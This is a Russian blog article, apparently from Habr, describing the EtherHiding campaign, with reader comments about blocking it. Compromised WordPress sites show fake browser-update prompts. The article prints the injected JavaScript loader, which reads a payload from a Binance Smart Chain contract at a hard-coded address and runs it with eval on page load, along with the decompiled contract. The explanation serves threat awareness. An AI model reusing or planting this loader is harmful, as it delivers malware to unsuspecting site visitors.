Один из старых хакерских трюков — распространять вредоносное ПО под видом обновления браузера. На взломанном сайте размещается плашка с утверждением, что для просмотра нужно обновить браузер. И кнопка для скачивания обновления, как на скриншоте с прошлогодней атаки ClearFake. Таким образом, жертва самостоятельно устанавливает вредоносное ПО на свой компьютер.
В прошлом году злоумышленники разработали умный способ защитить вредоносный софт от уничтожения. Они разместили его в децентрализованном анонимном блокчейне. То есть интегрировали код в смарт-контракт, который навечно сохранился в открытом доступе.
Инновационный способ хранения вредоносного кода описали специалисты по безопасности из израильской компании Guardio.
Схема выглядит следующим образом:
В данном случае используется BSC (Binance Smart Chain), то есть блокчейн от крупнейшей криптобиржи Binance, который является альтернативой Etherium, первому в интернете блокчейну со смарт-контрактами.
Для распространения вредоноса используются сайты на платформе WordPress. Часто эксплуатируются уязвимости в плагинах WP (например, такое происходило во время операции Balada Injector), устаревшие версии WordPress и украденные учётки.
На каждой странице взломанного сайта размещается следующий код (в обфусцированном виде Base64):
// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
signer = provider.getSigner(),
address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
ABI = [
{ inputs: [{ internalType: "string", .......},
{ inputs: [], name: "get", ......},
{ inputs: [], name: "link", ....... },
],
contract = new ethers.Contract(address, ABI, provider),
link = await contract.get();
eval(atob(link));
}
window.onload = load;
В данной части код взаимодействует с блокчейном BSC. Он создаёт новый смарт-контракт, инициализируя его с контролируемого злоумышленником адреса в блокчейна. Далее через интерфейс ABI (Application Binary Interface) объявляются функции и структура контракта. Вызывается функция
get()
, она запрашивает контракт, чтобы скачать тот самый код, который впоследствии будет декодирован в JavaScript с помощью функции eval()
.Код смарт-контракта:
def storage:
stor0 is array of struct at storage 0
def update(string _newName) payable:
require calldata.size - 4 >= 32
require _newName <= -1
require _newName + 35 < calldata.size
if _newName.length > -1:
revert with 'NH{q', 65
require _newName + _newName.length + 36 <= calldata.size
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
if _newName.length:
stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
else:
{...}
def get() payable:
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
{..}
if stor0.length.field_1:
if 31 < stor0.length.field_1:
mem[128] = uint256(stor0.field_0)
idx = 128
s = 0
while stor0.length.field_1 + 96 > idx:
mem[idx + 32] = stor0[s].field_256
idx = idx + 32
s = s + 1
continue
return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
mem[128] = 256 * stor0.length.field_8
else:
{...}
return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]),
def unknown1c4695f4() payable:
{...}
Этот простой смарт-контракт, который использует функцию хранения данных контракта (переменная массива
stor0
). Метод update()
сохраняет входные данные в это хранилище байт за байтом, а метод get()
считывает хранилище и возвращает его значение в виде строки. Таким образом, взаимодействуя с контрактом, можно записывать или обновлять данные в цепочке.Все операции хранятся в истории транзакций BSC, начиная с создания контракта 9 сентября 2023 года по другому адресу, контролируемому злоумышленниками. На этот другой адрес, созданный в конце июня 2022 года, перечислили BNB (монета Binance) в количестве, достаточном для создания и обновления контракта — действий, которые фактически не подлежат оплате, но требуют незначительной платы за «газ» ($0,02−0,60 на каждое действие):
Считывание вредоносного кода из блокчейна производит функция
eth_call
из Binance SDK, и это бесплатная операция.Раньше хакерский код хранился на хостинге Cloudflare — его можно было удалить или заблокировать. К сожалению, сделать такое с блокчейном невозможно по определению. То есть помешать распространению программы нельзя никак. Единственное, что может сделать Binance — это пометить вредоносный контракт в справочном сервисе BSCScan:
Код из контракта всё равно продолжит свободно распространяться, пусть и с пометкой в справочном сервисе.
Хранить код в блокчейне выгодно: децентрализованный хостинг и чтение из него совершенно бесплатны на годы вперёд, пока этот блокчейн сохранит своё существование. Для злоумышленника удобно ещё и то, что браузер скачивает вредоносный код и запускает его, не оставляя следов и не указывая на авторов атаки, которые сохраняют полную анонимность.
Новый тип атаки через блокчейн получил название EtherHiding. Специалисты пока не могут найти эффективной защиты от распространения программ через общедоступную децентрализованную систему хранения информации, которую по её природе невозможно отредактировать.
Комментарии (11)
bolk
02.02.2025 18:31Как будто давно было понятно, что это возможно? https://safe.cnews.ru/news/top/2018-03-21_v_blokchejne_bitkoina_najdeny_obraztsy_detskoj
iTs
Почему невозможно? Там же прослойка в виде api, на стороне которого такую проверку запросто можно реализовать. Скорее всего она там давно имеется.
GDragon
Проблема в подходе.
Если будет реализовано "удаление" (пусть и через запрет обращения к определённым контрактам) то вместо блокчейна будет "просто ещё одна база данных" что в корне подрывает саму идеологию блокчейна.
И да, я подобного давно ожидал.
Ещё бы и ЦП распространяли, но данных много больше чем вредонос нужно.
uranik
Зачем удаление, идет же обращение к rpc провайдеру в JsonRpcProvider, вот на стороне провайдера проверять контракт на вшивость по какому нибудь блоклисту и возвращать отказ никто не мешает. Публичных JsonRpcProvider по пальцам пересчитать, если все они блэк листы контрактов будут поддерживать и проблема уйдёт, а злоумышленникам придется свои rpc поднимать и светиться, а это уже другой коленкор.
ThisMan
Если появится возможность блокировать контракты ( не важно по каким причинам ), это станет инструментом для манипуляций. Кто решает, что контракт вредоносный? Какой-то единый орган/организация? Но ведь сеть децентрализована, а если это решается пользователями, возможны способы обмана. В любом случае прецедент будет и это подорвет доверие к сети
sunnybear
Можно сделать децентрализованный реестр чёрного списка контактов...
codecity
И кто будет модерировать?
itshnick88
Децентрализованные модераторы)
zapolnoch
Не хочу расстраивать, но ЦП есть в блокчейне биткойна
vikarti
У той же ipfs есть blocklist'ы в том числе по умолчанию. см например https://github.com/ipfs-inactive/faq/issues/176 и https://blog.ipfs.tech/2023-content-blocking-for-the-ipfs-stack/ правда gateway не обязан следовать им...